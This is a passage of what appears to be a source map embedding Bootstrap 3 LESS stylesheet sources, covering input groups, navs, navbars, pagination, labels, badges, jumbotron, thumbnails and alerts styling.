&[class*=\"col-\"] {\n float: none;\n padding-left: 0;\n padding-right: 0;\n }\n\n .form-control {\n // Ensure that the input is always above the *appended* addon button for\n // proper border colors.\n position: relative;\n z-index: 2;\n\n // IE9 fubars the placeholder attribute in text inputs and the arrows on\n // select elements in input groups. To fix it, we float the input. Details:\n // https://github.com/twbs/bootstrap/issues/11561#issuecomment-28936855\n float: left;\n\n width: 100%;\n margin-bottom: 0;\n\n &:focus {\n z-index: 3;\n }\n }\n}\n\n// Sizing options\n//\n// Remix the default form control sizing classes into new ones for easier\n// manipulation.\n\n.input-group-lg > .form-control,\n.input-group-lg > .input-group-addon,\n.input-group-lg > .input-group-btn > .btn {\n .input-lg();\n}\n.input-group-sm > .form-control,\n.input-group-sm > .input-group-addon,\n.input-group-sm > .input-group-btn > .btn {\n .input-sm();\n}\n\n\n// Display as table-cell\n// -------------------------\n.input-group-addon,\n.input-group-btn,\n.input-group .form-control {\n display: table-cell;\n\n &:not(:first-child):not(:last-child) {\n border-radius: 0;\n }\n}\n// Addon and addon wrapper for buttons\n.input-group-addon,\n.input-group-btn {\n width: 1%;\n white-space: nowrap;\n vertical-align: middle; // Match the inputs\n}\n\n// Text input groups\n// -------------------------\n.input-group-addon {\n padding: @padding-base-vertical @padding-base-horizontal;\n font-size: @font-size-base;\n font-weight: normal;\n line-height: 1;\n color: @input-color;\n text-align: center;\n background-color: @input-group-addon-bg;\n border: 1px solid @input-group-addon-border-color;\n border-radius: @input-border-radius;\n\n // Sizing\n &.input-sm {\n padding: @padding-small-vertical @padding-small-horizontal;\n font-size: @font-size-small;\n border-radius: @input-border-radius-small;\n }\n &.input-lg {\n padding: @padding-large-vertical @padding-large-horizontal;\n font-size: @font-size-large;\n border-radius: @input-border-radius-large;\n }\n\n // Nuke default margins from checkboxes and radios to vertically center within.\n input[type=\"radio\"],\n input[type=\"checkbox\"] {\n margin-top: 0;\n }\n}\n\n// Reset rounded corners\n.input-group .form-control:first-child,\n.input-group-addon:first-child,\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .btn-group > .btn,\n.input-group-btn:first-child > .dropdown-toggle,\n.input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle),\n.input-group-btn:last-child > .btn-group:not(:last-child) > .btn {\n .border-right-radius(0);\n}\n.input-group-addon:first-child {\n border-right: 0;\n}\n.input-group .form-control:last-child,\n.input-group-addon:last-child,\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .btn-group > .btn,\n.input-group-btn:last-child > .dropdown-toggle,\n.input-group-btn:first-child > .btn:not(:first-child),\n.input-group-btn:first-child > .btn-group:not(:first-child) > .btn {\n .border-left-radius(0);\n}\n.input-group-addon:last-child {\n border-left: 0;\n}\n\n// Button input groups\n// -------------------------\n.input-group-btn {\n position: relative;\n // Jankily prevent input button groups from wrapping with `white-space` and\n // `font-size` in combination with `inline-block` on buttons.\n font-size: 0;\n white-space: nowrap;\n\n // Negative margin for spacing, position for bringing hovered/focused/actived\n // element above the siblings.\n > .btn {\n position: relative;\n + .btn {\n margin-left: -1px;\n }\n // Bring the \"active\" button to the front\n &:hover,\n &:focus,\n &:active {\n z-index: 2;\n }\n }\n\n // Negative margin to only have a 1px border between the two\n &:first-child {\n > .btn,\n > .btn-group {\n margin-right: -1px;\n }\n }\n &:last-child {\n > .btn,\n > .btn-group {\n z-index: 2;\n margin-left: -1px;\n }\n }\n}\n","//\n// Navs\n// --------------------------------------------------\n\n\n// Base class\n// --------------------------------------------------\n\n.nav {\n margin-bottom: 0;\n padding-left: 0; // Override default ul/ol\n list-style: none;\n &:extend(.clearfix all);\n\n > li {\n position: relative;\n display: block;\n\n > a {\n position: relative;\n display: block;\n padding: @nav-link-padding;\n &:hover,\n &:focus {\n text-decoration: none;\n background-color: @nav-link-hover-bg;\n }\n }\n\n // Disabled state sets text to gray and nukes hover/tab effects\n &.disabled > a {\n color: @nav-disabled-link-color;\n\n &:hover,\n &:focus {\n color: @nav-disabled-link-hover-color;\n text-decoration: none;\n background-color: transparent;\n cursor: @cursor-disabled;\n }\n }\n }\n\n // Open dropdowns\n .open > a {\n &,\n &:hover,\n &:focus {\n background-color: @nav-link-hover-bg;\n border-color: @link-color;\n }\n }\n\n // Nav dividers (deprecated with v3.0.1)\n //\n // This should have been removed in v3 with the dropping of `.nav-list`, but\n // we missed it. We don't currently support this anywhere, but in the interest\n // of maintaining backward compatibility in case you use it, it's deprecated.\n .nav-divider {\n .nav-divider();\n }\n\n // Prevent IE8 from misplacing imgs\n //\n // See https://github.com/h5bp/html5-boilerplate/issues/984#issuecomment-3985989\n > li > a > img {\n max-width: none;\n }\n}\n\n\n// Tabs\n// -------------------------\n\n// Give the tabs something to sit on\n.nav-tabs {\n border-bottom: 1px solid @nav-tabs-border-color;\n > li {\n float: left;\n // Make the list-items overlay the bottom border\n margin-bottom: -1px;\n\n // Actual tabs (as links)\n > a {\n margin-right: 2px;\n line-height: @line-height-base;\n border: 1px solid transparent;\n border-radius: @border-radius-base @border-radius-base 0 0;\n &:hover {\n border-color: @nav-tabs-link-hover-border-color @nav-tabs-link-hover-border-color @nav-tabs-border-color;\n }\n }\n\n // Active state, and its :hover to override normal :hover\n &.active > a {\n &,\n &:hover,\n &:focus {\n color: @nav-tabs-active-link-hover-color;\n background-color: @nav-tabs-active-link-hover-bg;\n border: 1px solid @nav-tabs-active-link-hover-border-color;\n border-bottom-color: transparent;\n cursor: default;\n }\n }\n }\n // pulling this in mainly for less shorthand\n &.nav-justified {\n .nav-justified();\n .nav-tabs-justified();\n }\n}\n\n\n// Pills\n// -------------------------\n.nav-pills {\n > li {\n float: left;\n\n // Links rendered as pills\n > a {\n border-radius: @nav-pills-border-radius;\n }\n + li {\n margin-left: 2px;\n }\n\n // Active state\n &.active > a {\n &,\n &:hover,\n &:focus {\n color: @nav-pills-active-link-hover-color;\n background-color: @nav-pills-active-link-hover-bg;\n }\n }\n }\n}\n\n\n// Stacked pills\n.nav-stacked {\n > li {\n float: none;\n + li {\n margin-top: 2px;\n margin-left: 0; // no need for this gap between nav items\n }\n }\n}\n\n\n// Nav variations\n// --------------------------------------------------\n\n// Justified nav links\n// -------------------------\n\n.nav-justified {\n width: 100%;\n\n > li {\n float: none;\n > a {\n text-align: center;\n margin-bottom: 5px;\n }\n }\n\n > .dropdown .dropdown-menu {\n top: auto;\n left: auto;\n }\n\n @media (min-width: @screen-sm-min) {\n > li {\n display: table-cell;\n width: 1%;\n > a {\n margin-bottom: 0;\n }\n }\n }\n}\n\n// Move borders to anchors instead of bottom of list\n//\n// Mixin for adding on top the shared `.nav-justified` styles for our tabs\n.nav-tabs-justified {\n border-bottom: 0;\n\n > li > a {\n // Override margin from .nav-tabs\n margin-right: 0;\n border-radius: @border-radius-base;\n }\n\n > .active > a,\n > .active > a:hover,\n > .active > a:focus {\n border: 1px solid @nav-tabs-justified-link-border-color;\n }\n\n @media (min-width: @screen-sm-min) {\n > li > a {\n border-bottom: 1px solid @nav-tabs-justified-link-border-color;\n border-radius: @border-radius-base @border-radius-base 0 0;\n }\n > .active > a,\n > .active > a:hover,\n > .active > a:focus {\n border-bottom-color: @nav-tabs-justified-active-link-border-color;\n }\n }\n}\n\n\n// Tabbable tabs\n// -------------------------\n\n// Hide tabbable panes to start, show them when `.active`\n.tab-content {\n > .tab-pane {\n display: none;\n }\n > .active {\n display: block;\n }\n}\n\n\n// Dropdowns\n// -------------------------\n\n// Specific dropdowns\n.nav-tabs .dropdown-menu {\n // make dropdown border overlap tab border\n margin-top: -1px;\n // Remove the top rounded corners here since there is a hard edge above the menu\n .border-top-radius(0);\n}\n","//\n// Navbars\n// --------------------------------------------------\n\n\n// Wrapper and base class\n//\n// Provide a static navbar from which we expand to create full-width, fixed, and\n// other navbar variations.\n\n.navbar {\n position: relative;\n min-height: @navbar-height; // Ensure a navbar always shows (e.g., without a .navbar-brand in collapsed mode)\n margin-bottom: @navbar-margin-bottom;\n border: 1px solid transparent;\n\n // Prevent floats from breaking the navbar\n &:extend(.clearfix all);\n\n @media (min-width: @grid-float-breakpoint) {\n border-radius: @navbar-border-radius;\n }\n}\n\n\n// Navbar heading\n//\n// Groups `.navbar-brand` and `.navbar-toggle` into a single component for easy\n// styling of responsive aspects.\n\n.navbar-header {\n &:extend(.clearfix all);\n\n @media (min-width: @grid-float-breakpoint) {\n float: left;\n }\n}\n\n\n// Navbar collapse (body)\n//\n// Group your navbar content into this for easy collapsing and expanding across\n// various device sizes. By default, this content is collapsed when <768px, but\n// will expand past that for a horizontal display.\n//\n// To start (on mobile devices) the navbar links, forms, and buttons are stacked\n// vertically and include a `max-height` to overflow in case you have too much\n// content for the user's viewport.\n\n.navbar-collapse {\n overflow-x: visible;\n padding-right: @navbar-padding-horizontal;\n padding-left: @navbar-padding-horizontal;\n border-top: 1px solid transparent;\n box-shadow: inset 0 1px 0 rgba(255,255,255,.1);\n &:extend(.clearfix all);\n -webkit-overflow-scrolling: touch;\n\n &.in {\n overflow-y: auto;\n }\n\n @media (min-width: @grid-float-breakpoint) {\n width: auto;\n border-top: 0;\n box-shadow: none;\n\n &.collapse {\n display: block !important;\n height: auto !important;\n padding-bottom: 0; // Override default setting\n overflow: visible !important;\n }\n\n &.in {\n overflow-y: visible;\n }\n\n // Undo the collapse side padding for navbars with containers to ensure\n // alignment of right-aligned contents.\n .navbar-fixed-top &,\n .navbar-static-top &,\n .navbar-fixed-bottom & {\n padding-left: 0;\n padding-right: 0;\n }\n }\n}\n\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n .navbar-collapse {\n max-height: @navbar-collapse-max-height;\n\n @media (max-device-width: @screen-xs-min) and (orientation: landscape) {\n max-height: 200px;\n }\n }\n}\n\n\n// Both navbar header and collapse\n//\n// When a container is present, change the behavior of the header and collapse.\n\n.container,\n.container-fluid {\n > .navbar-header,\n > .navbar-collapse {\n margin-right: -@navbar-padding-horizontal;\n margin-left: -@navbar-padding-horizontal;\n\n @media (min-width: @grid-float-breakpoint) {\n margin-right: 0;\n margin-left: 0;\n }\n }\n}\n\n\n//\n// Navbar alignment options\n//\n// Display the navbar across the entirety of the page or fixed it to the top or\n// bottom of the page.\n\n// Static top (unfixed, but 100% wide) navbar\n.navbar-static-top {\n z-index: @zindex-navbar;\n border-width: 0 0 1px;\n\n @media (min-width: @grid-float-breakpoint) {\n border-radius: 0;\n }\n}\n\n// Fix the top/bottom navbars when screen real estate supports it\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n position: fixed;\n right: 0;\n left: 0;\n z-index: @zindex-navbar-fixed;\n\n // Undo the rounded corners\n @media (min-width: @grid-float-breakpoint) {\n border-radius: 0;\n }\n}\n.navbar-fixed-top {\n top: 0;\n border-width: 0 0 1px;\n}\n.navbar-fixed-bottom {\n bottom: 0;\n margin-bottom: 0; // override .navbar defaults\n border-width: 1px 0 0;\n}\n\n\n// Brand/project name\n\n.navbar-brand {\n float: left;\n padding: @navbar-padding-vertical @navbar-padding-horizontal;\n font-size: @font-size-large;\n line-height: @line-height-computed;\n height: @navbar-height;\n\n &:hover,\n &:focus {\n text-decoration: none;\n }\n\n > img {\n display: block;\n }\n\n @media (min-width: @grid-float-breakpoint) {\n .navbar > .container &,\n .navbar > .container-fluid & {\n margin-left: -@navbar-padding-horizontal;\n }\n }\n}\n\n\n// Navbar toggle\n//\n// Custom button for toggling the `.navbar-collapse`, powered by the collapse\n// JavaScript plugin.\n\n.navbar-toggle {\n position: relative;\n float: right;\n margin-right: @navbar-padding-horizontal;\n padding: 9px 10px;\n .navbar-vertical-align(34px);\n background-color: transparent;\n background-image: none; // Reset unusual Firefox-on-Android default style; see https://github.com/necolas/normalize.css/issues/214\n border: 1px solid transparent;\n border-radius: @border-radius-base;\n\n // We remove the `outline` here, but later compensate by attaching `:hover`\n // styles to `:focus`.\n &:focus {\n outline: 0;\n }\n\n // Bars\n .icon-bar {\n display: block;\n width: 22px;\n height: 2px;\n border-radius: 1px;\n }\n .icon-bar + .icon-bar {\n margin-top: 4px;\n }\n\n @media (min-width: @grid-float-breakpoint) {\n display: none;\n }\n}\n\n\n// Navbar nav links\n//\n// Builds on top of the `.nav` components with its own modifier class to make\n// the nav the full height of the horizontal nav (above 768px).\n\n.navbar-nav {\n margin: (@navbar-padding-vertical / 2) -@navbar-padding-horizontal;\n\n > li > a {\n padding-top: 10px;\n padding-bottom: 10px;\n line-height: @line-height-computed;\n }\n\n @media (max-width: @grid-float-breakpoint-max) {\n // Dropdowns get custom display when collapsed\n .open .dropdown-menu {\n position: static;\n float: none;\n width: auto;\n margin-top: 0;\n background-color: transparent;\n border: 0;\n box-shadow: none;\n > li > a,\n .dropdown-header {\n padding: 5px 15px 5px 25px;\n }\n > li > a {\n line-height: @line-height-computed;\n &:hover,\n &:focus {\n background-image: none;\n }\n }\n }\n }\n\n // Uncollapse the nav\n @media (min-width: @grid-float-breakpoint) {\n float: left;\n margin: 0;\n\n > li {\n float: left;\n > a {\n padding-top: @navbar-padding-vertical;\n padding-bottom: @navbar-padding-vertical;\n }\n }\n }\n}\n\n\n// Navbar form\n//\n// Extension of the `.form-inline` with some extra flavor for optimum display in\n// our navbars.\n\n.navbar-form {\n margin-left: -@navbar-padding-horizontal;\n margin-right: -@navbar-padding-horizontal;\n padding: 10px @navbar-padding-horizontal;\n border-top: 1px solid transparent;\n border-bottom: 1px solid transparent;\n @shadow: inset 0 1px 0 rgba(255,255,255,.1), 0 1px 0 rgba(255,255,255,.1);\n .box-shadow(@shadow);\n\n // Mixin behavior for optimum display\n .form-inline();\n\n .form-group {\n @media (max-width: @grid-float-breakpoint-max) {\n margin-bottom: 5px;\n\n &:last-child {\n margin-bottom: 0;\n }\n }\n }\n\n // Vertically center in expanded, horizontal navbar\n .navbar-vertical-align(@input-height-base);\n\n // Undo 100% width for pull classes\n @media (min-width: @grid-float-breakpoint) {\n width: auto;\n border: 0;\n margin-left: 0;\n margin-right: 0;\n padding-top: 0;\n padding-bottom: 0;\n .box-shadow(none);\n }\n}\n\n\n// Dropdown menus\n\n// Menu position and menu carets\n.navbar-nav > li > .dropdown-menu {\n margin-top: 0;\n .border-top-radius(0);\n}\n// Menu position and menu caret support for dropups via extra dropup class\n.navbar-fixed-bottom .navbar-nav > li > .dropdown-menu {\n margin-bottom: 0;\n .border-top-radius(@navbar-border-radius);\n .border-bottom-radius(0);\n}\n\n\n// Buttons in navbars\n//\n// Vertically center a button within a navbar (when *not* in a form).\n\n.navbar-btn {\n .navbar-vertical-align(@input-height-base);\n\n &.btn-sm {\n .navbar-vertical-align(@input-height-small);\n }\n &.btn-xs {\n .navbar-vertical-align(22);\n }\n}\n\n\n// Text in navbars\n//\n// Add a class to make any element properly align itself vertically within the navbars.\n\n.navbar-text {\n .navbar-vertical-align(@line-height-computed);\n\n @media (min-width: @grid-float-breakpoint) {\n float: left;\n margin-left: @navbar-padding-horizontal;\n margin-right: @navbar-padding-horizontal;\n }\n}\n\n\n// Component alignment\n//\n// Repurpose the pull utilities as their own navbar utilities to avoid specificity\n// issues with parents and chaining. Only do this when the navbar is uncollapsed\n// though so that navbar contents properly stack and align in mobile.\n//\n// Declared after the navbar components to ensure more specificity on the margins.\n\n@media (min-width: @grid-float-breakpoint) {\n .navbar-left { .pull-left(); }\n .navbar-right {\n .pull-right();\n margin-right: -@navbar-padding-horizontal;\n\n ~ .navbar-right {\n margin-right: 0;\n }\n }\n}\n\n\n// Alternate navbars\n// --------------------------------------------------\n\n// Default navbar\n.navbar-default {\n background-color: @navbar-default-bg;\n border-color: @navbar-default-border;\n\n .navbar-brand {\n color: @navbar-default-brand-color;\n &:hover,\n &:focus {\n color: @navbar-default-brand-hover-color;\n background-color: @navbar-default-brand-hover-bg;\n }\n }\n\n .navbar-text {\n color: @navbar-default-color;\n }\n\n .navbar-nav {\n > li > a {\n color: @navbar-default-link-color;\n\n &:hover,\n &:focus {\n color: @navbar-default-link-hover-color;\n background-color: @navbar-default-link-hover-bg;\n }\n }\n > .active > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-default-link-active-color;\n background-color: @navbar-default-link-active-bg;\n }\n }\n > .disabled > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-default-link-disabled-color;\n background-color: @navbar-default-link-disabled-bg;\n }\n }\n }\n\n .navbar-toggle {\n border-color: @navbar-default-toggle-border-color;\n &:hover,\n &:focus {\n background-color: @navbar-default-toggle-hover-bg;\n }\n .icon-bar {\n background-color: @navbar-default-toggle-icon-bar-bg;\n }\n }\n\n .navbar-collapse,\n .navbar-form {\n border-color: @navbar-default-border;\n }\n\n // Dropdown menu items\n .navbar-nav {\n // Remove background color from open dropdown\n > .open > a {\n &,\n &:hover,\n &:focus {\n background-color: @navbar-default-link-active-bg;\n color: @navbar-default-link-active-color;\n }\n }\n\n @media (max-width: @grid-float-breakpoint-max) {\n // Dropdowns get custom display when collapsed\n .open .dropdown-menu {\n > li > a {\n color: @navbar-default-link-color;\n &:hover,\n &:focus {\n color: @navbar-default-link-hover-color;\n background-color: @navbar-default-link-hover-bg;\n }\n }\n > .active > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-default-link-active-color;\n background-color: @navbar-default-link-active-bg;\n }\n }\n > .disabled > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-default-link-disabled-color;\n background-color: @navbar-default-link-disabled-bg;\n }\n }\n }\n }\n }\n\n\n // Links in navbars\n //\n // Add a class to ensure links outside the navbar nav are colored correctly.\n\n .navbar-link {\n color: @navbar-default-link-color;\n &:hover {\n color: @navbar-default-link-hover-color;\n }\n }\n\n .btn-link {\n color: @navbar-default-link-color;\n &:hover,\n &:focus {\n color: @navbar-default-link-hover-color;\n }\n &[disabled],\n fieldset[disabled] & {\n &:hover,\n &:focus {\n color: @navbar-default-link-disabled-color;\n }\n }\n }\n}\n\n// Inverse navbar\n\n.navbar-inverse {\n background-color: @navbar-inverse-bg;\n border-color: @navbar-inverse-border;\n\n .navbar-brand {\n color: @navbar-inverse-brand-color;\n &:hover,\n &:focus {\n color: @navbar-inverse-brand-hover-color;\n background-color: @navbar-inverse-brand-hover-bg;\n }\n }\n\n .navbar-text {\n color: @navbar-inverse-color;\n }\n\n .navbar-nav {\n > li > a {\n color: @navbar-inverse-link-color;\n\n &:hover,\n &:focus {\n color: @navbar-inverse-link-hover-color;\n background-color: @navbar-inverse-link-hover-bg;\n }\n }\n > .active > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-inverse-link-active-color;\n background-color: @navbar-inverse-link-active-bg;\n }\n }\n > .disabled > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-inverse-link-disabled-color;\n background-color: @navbar-inverse-link-disabled-bg;\n }\n }\n }\n\n // Darken the responsive nav toggle\n .navbar-toggle {\n border-color: @navbar-inverse-toggle-border-color;\n &:hover,\n &:focus {\n background-color: @navbar-inverse-toggle-hover-bg;\n }\n .icon-bar {\n background-color: @navbar-inverse-toggle-icon-bar-bg;\n }\n }\n\n .navbar-collapse,\n .navbar-form {\n border-color: darken(@navbar-inverse-bg, 7%);\n }\n\n // Dropdowns\n .navbar-nav {\n > .open > a {\n &,\n &:hover,\n &:focus {\n background-color: @navbar-inverse-link-active-bg;\n color: @navbar-inverse-link-active-color;\n }\n }\n\n @media (max-width: @grid-float-breakpoint-max) {\n // Dropdowns get custom display\n .open .dropdown-menu {\n > .dropdown-header {\n border-color: @navbar-inverse-border;\n }\n .divider {\n background-color: @navbar-inverse-border;\n }\n > li > a {\n color: @navbar-inverse-link-color;\n &:hover,\n &:focus {\n color: @navbar-inverse-link-hover-color;\n background-color: @navbar-inverse-link-hover-bg;\n }\n }\n > .active > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-inverse-link-active-color;\n background-color: @navbar-inverse-link-active-bg;\n }\n }\n > .disabled > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-inverse-link-disabled-color;\n background-color: @navbar-inverse-link-disabled-bg;\n }\n }\n }\n }\n }\n\n .navbar-link {\n color: @navbar-inverse-link-color;\n &:hover {\n color: @navbar-inverse-link-hover-color;\n }\n }\n\n .btn-link {\n color: @navbar-inverse-link-color;\n &:hover,\n &:focus {\n color: @navbar-inverse-link-hover-color;\n }\n &[disabled],\n fieldset[disabled] & {\n &:hover,\n &:focus {\n color: @navbar-inverse-link-disabled-color;\n }\n }\n }\n}\n","// Navbar vertical align\n//\n// Vertically center elements in the navbar.\n// Example: an element has a height of 30px, so write out `.navbar-vertical-align(30px);` to calculate the appropriate top margin.\n\n.navbar-vertical-align(@element-height) {\n margin-top: ((@navbar-height - @element-height) / 2);\n margin-bottom: ((@navbar-height - @element-height) / 2);\n}\n","//\n// Utility classes\n// --------------------------------------------------\n\n\n// Floats\n// -------------------------\n\n.clearfix {\n .clearfix();\n}\n.center-block {\n .center-block();\n}\n.pull-right {\n float: right !important;\n}\n.pull-left {\n float: left !important;\n}\n\n\n// Toggling content\n// -------------------------\n\n// Note: Deprecated .hide in favor of .hidden or .sr-only (as appropriate) in v3.0.1\n.hide {\n display: none !important;\n}\n.show {\n display: block !important;\n}\n.invisible {\n visibility: hidden;\n}\n.text-hide {\n .text-hide();\n}\n\n\n// Hide from screenreaders and browsers\n//\n// Credit: HTML5 Boilerplate\n\n.hidden {\n display: none !important;\n}\n\n\n// For Affix plugin\n// -------------------------\n\n.affix {\n position: fixed;\n}\n","//\n// Breadcrumbs\n// --------------------------------------------------\n\n\n.breadcrumb {\n padding: @breadcrumb-padding-vertical @breadcrumb-padding-horizontal;\n margin-bottom: @line-height-computed;\n list-style: none;\n background-color: @breadcrumb-bg;\n border-radius: @border-radius-base;\n\n > li {\n display: inline-block;\n\n + li:before {\n content: \"@{breadcrumb-separator}\\00a0\"; // Unicode space added since inline-block means non-collapsing white-space\n padding: 0 5px;\n color: @breadcrumb-color;\n }\n }\n\n > .active {\n color: @breadcrumb-active-color;\n }\n}\n","//\n// Pagination (multiple pages)\n// --------------------------------------------------\n.pagination {\n display: inline-block;\n padding-left: 0;\n margin: @line-height-computed 0;\n border-radius: @border-radius-base;\n\n > li {\n display: inline; // Remove list-style and block-level defaults\n > a,\n > span {\n position: relative;\n float: left; // Collapse white-space\n padding: @padding-base-vertical @padding-base-horizontal;\n line-height: @line-height-base;\n text-decoration: none;\n color: @pagination-color;\n background-color: @pagination-bg;\n border: 1px solid @pagination-border;\n margin-left: -1px;\n }\n &:first-child {\n > a,\n > span {\n margin-left: 0;\n .border-left-radius(@border-radius-base);\n }\n }\n &:last-child {\n > a,\n > span {\n .border-right-radius(@border-radius-base);\n }\n }\n }\n\n > li > a,\n > li > span {\n &:hover,\n &:focus {\n z-index: 2;\n color: @pagination-hover-color;\n background-color: @pagination-hover-bg;\n border-color: @pagination-hover-border;\n }\n }\n\n > .active > a,\n > .active > span {\n &,\n &:hover,\n &:focus {\n z-index: 3;\n color: @pagination-active-color;\n background-color: @pagination-active-bg;\n border-color: @pagination-active-border;\n cursor: default;\n }\n }\n\n > .disabled {\n > span,\n > span:hover,\n > span:focus,\n > a,\n > a:hover,\n > a:focus {\n color: @pagination-disabled-color;\n background-color: @pagination-disabled-bg;\n border-color: @pagination-disabled-border;\n cursor: @cursor-disabled;\n }\n }\n}\n\n// Sizing\n// --------------------------------------------------\n\n// Large\n.pagination-lg {\n .pagination-size(@padding-large-vertical; @padding-large-horizontal; @font-size-large; @line-height-large; @border-radius-large);\n}\n\n// Small\n.pagination-sm {\n .pagination-size(@padding-small-vertical; @padding-small-horizontal; @font-size-small; @line-height-small; @border-radius-small);\n}\n","// Pagination\n\n.pagination-size(@padding-vertical; @padding-horizontal; @font-size; @line-height; @border-radius) {\n > li {\n > a,\n > span {\n padding: @padding-vertical @padding-horizontal;\n font-size: @font-size;\n line-height: @line-height;\n }\n &:first-child {\n > a,\n > span {\n .border-left-radius(@border-radius);\n }\n }\n &:last-child {\n > a,\n > span {\n .border-right-radius(@border-radius);\n }\n }\n }\n}\n","//\n// Pager pagination\n// --------------------------------------------------\n\n\n.pager {\n padding-left: 0;\n margin: @line-height-computed 0;\n list-style: none;\n text-align: center;\n &:extend(.clearfix all);\n li {\n display: inline;\n > a,\n > span {\n display: inline-block;\n padding: 5px 14px;\n background-color: @pager-bg;\n border: 1px solid @pager-border;\n border-radius: @pager-border-radius;\n }\n\n > a:hover,\n > a:focus {\n text-decoration: none;\n background-color: @pager-hover-bg;\n }\n }\n\n .next {\n > a,\n > span {\n float: right;\n }\n }\n\n .previous {\n > a,\n > span {\n float: left;\n }\n }\n\n .disabled {\n > a,\n > a:hover,\n > a:focus,\n > span {\n color: @pager-disabled-color;\n background-color: @pager-bg;\n cursor: @cursor-disabled;\n }\n }\n}\n","//\n// Labels\n// --------------------------------------------------\n\n.label {\n display: inline;\n padding: .2em .6em .3em;\n font-size: 75%;\n font-weight: bold;\n line-height: 1;\n color: @label-color;\n text-align: center;\n white-space: nowrap;\n vertical-align: baseline;\n border-radius: .25em;\n\n // Add hover effects, but only for links\n a& {\n &:hover,\n &:focus {\n color: @label-link-hover-color;\n text-decoration: none;\n cursor: pointer;\n }\n }\n\n // Empty labels collapse automatically (not available in IE8)\n &:empty {\n display: none;\n }\n\n // Quick fix for labels in buttons\n .btn & {\n position: relative;\n top: -1px;\n }\n}\n\n// Colors\n// Contextual variations (linked labels get darker on :hover)\n\n.label-default {\n .label-variant(@label-default-bg);\n}\n\n.label-primary {\n .label-variant(@label-primary-bg);\n}\n\n.label-success {\n .label-variant(@label-success-bg);\n}\n\n.label-info {\n .label-variant(@label-info-bg);\n}\n\n.label-warning {\n .label-variant(@label-warning-bg);\n}\n\n.label-danger {\n .label-variant(@label-danger-bg);\n}\n","// Labels\n\n.label-variant(@color) {\n background-color: @color;\n\n &[href] {\n &:hover,\n &:focus {\n background-color: darken(@color, 10%);\n }\n }\n}\n","//\n// Badges\n// --------------------------------------------------\n\n\n// Base class\n.badge {\n display: inline-block;\n min-width: 10px;\n padding: 3px 7px;\n font-size: @font-size-small;\n font-weight: @badge-font-weight;\n color: @badge-color;\n line-height: @badge-line-height;\n vertical-align: middle;\n white-space: nowrap;\n text-align: center;\n background-color: @badge-bg;\n border-radius: @badge-border-radius;\n\n // Empty badges collapse automatically (not available in IE8)\n &:empty {\n display: none;\n }\n\n // Quick fix for badges in buttons\n .btn & {\n position: relative;\n top: -1px;\n }\n\n .btn-xs &,\n .btn-group-xs > .btn & {\n top: 0;\n padding: 1px 5px;\n }\n\n // Hover state, but only for links\n a& {\n &:hover,\n &:focus {\n color: @badge-link-hover-color;\n text-decoration: none;\n cursor: pointer;\n }\n }\n\n // Account for badges in navs\n .list-group-item.active > &,\n .nav-pills > .active > a > & {\n color: @badge-active-color;\n background-color: @badge-active-bg;\n }\n\n .list-group-item > & {\n float: right;\n }\n\n .list-group-item > & + & {\n margin-right: 5px;\n }\n\n .nav-pills > li > a > & {\n margin-left: 3px;\n }\n}\n","//\n// Jumbotron\n// --------------------------------------------------\n\n\n.jumbotron {\n padding-top: @jumbotron-padding;\n padding-bottom: @jumbotron-padding;\n margin-bottom: @jumbotron-padding;\n color: @jumbotron-color;\n background-color: @jumbotron-bg;\n\n h1,\n .h1 {\n color: @jumbotron-heading-color;\n }\n\n p {\n margin-bottom: (@jumbotron-padding / 2);\n font-size: @jumbotron-font-size;\n font-weight: 200;\n }\n\n > hr {\n border-top-color: darken(@jumbotron-bg, 10%);\n }\n\n .container &,\n .container-fluid & {\n border-radius: @border-radius-large; // Only round corners at higher resolutions if contained in a container\n padding-left: (@grid-gutter-width / 2);\n padding-right: (@grid-gutter-width / 2);\n }\n\n .container {\n max-width: 100%;\n }\n\n @media screen and (min-width: @screen-sm-min) {\n padding-top: (@jumbotron-padding * 1.6);\n padding-bottom: (@jumbotron-padding * 1.6);\n\n .container &,\n .container-fluid & {\n padding-left: (@jumbotron-padding * 2);\n padding-right: (@jumbotron-padding * 2);\n }\n\n h1,\n .h1 {\n font-size: @jumbotron-heading-font-size;\n }\n }\n}\n","//\n// Thumbnails\n// --------------------------------------------------\n\n\n// Mixin and adjust the regular image class\n.thumbnail {\n display: block;\n padding: @thumbnail-padding;\n margin-bottom: @line-height-computed;\n line-height: @line-height-base;\n background-color: @thumbnail-bg;\n border: 1px solid @thumbnail-border;\n border-radius: @thumbnail-border-radius;\n .transition(border .2s ease-in-out);\n\n > img,\n a > img {\n &:extend(.img-responsive);\n margin-left: auto;\n margin-right: auto;\n }\n\n // Add a hover state for linked versions only\n a&:hover,\n a&:focus,\n a&.active {\n border-color: @link-color;\n }\n\n // Image captions\n .caption {\n padding: @thumbnail-caption-padding;\n color: @thumbnail-caption-color;\n }\n}\n","//\n// Alerts\n// --------------------------------------------------\n\n\n// Base styles\n// -------------------------\n\n.alert {\n padding: @alert-padding;\n margin-bottom: @line-height-computed;\n border: 1px solid transparent;\n border-radius: @alert-border-radius;\n\n // Headings for larger alerts\n h4 {\n margin-top: 0;\n // Specified for the h4 to prevent conflicts of changing @headings-color\n color: inherit;\n }\n\n // Provide class for links that match alerts\n .alert-link {\n font-weight: @alert-link-font-weight;\n }\n\n // Improve alignment and spacing of inner content\n > p,\n > ul {\n margin-bottom: 0;\n }\n\n > p + p {\n margin-top: 5px;\n }\n}\n\n// Dismissible alerts\n//\n// Expand the right padding and account for the close button's positioning.\n\n.alert-dismissable, // The misspelled .alert-dismissable was deprecated in 3.2.0.\n.alert-dismissible {\n padding-right: (@alert-padding + 20);\n\n // Adjust close link position\n .close {\n position: relative;\n top: -2px;\n right: -21px;\n color: inherit;\n }\n}\n\n// Alternate styles\n//\n// Generate contextual modifier classes for colorizing the alert.\n\n.alert-success {\n .alert-variant(@alert-success-bg; @alert-success-border; @alert-success-text);\n}\n\n.alert-info {\n .alert-variant(@alert-info-bg; 